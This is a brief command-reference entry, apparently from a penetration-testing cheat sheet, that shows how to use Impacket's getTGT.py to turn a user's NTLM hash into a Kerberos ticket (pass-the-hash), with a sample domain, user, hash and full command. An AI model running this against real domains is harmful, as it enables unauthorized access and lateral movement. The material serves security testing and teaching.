Impacket’s getTGT.py uses a valid user’s NTLM hash to request Kerberos tickets, in order to access any service or machine where that user has permissions.
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Hash: 2a3de7fe356ee524cc9f3d579f2e0aa7
python3 getTGT.py test.local/john -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7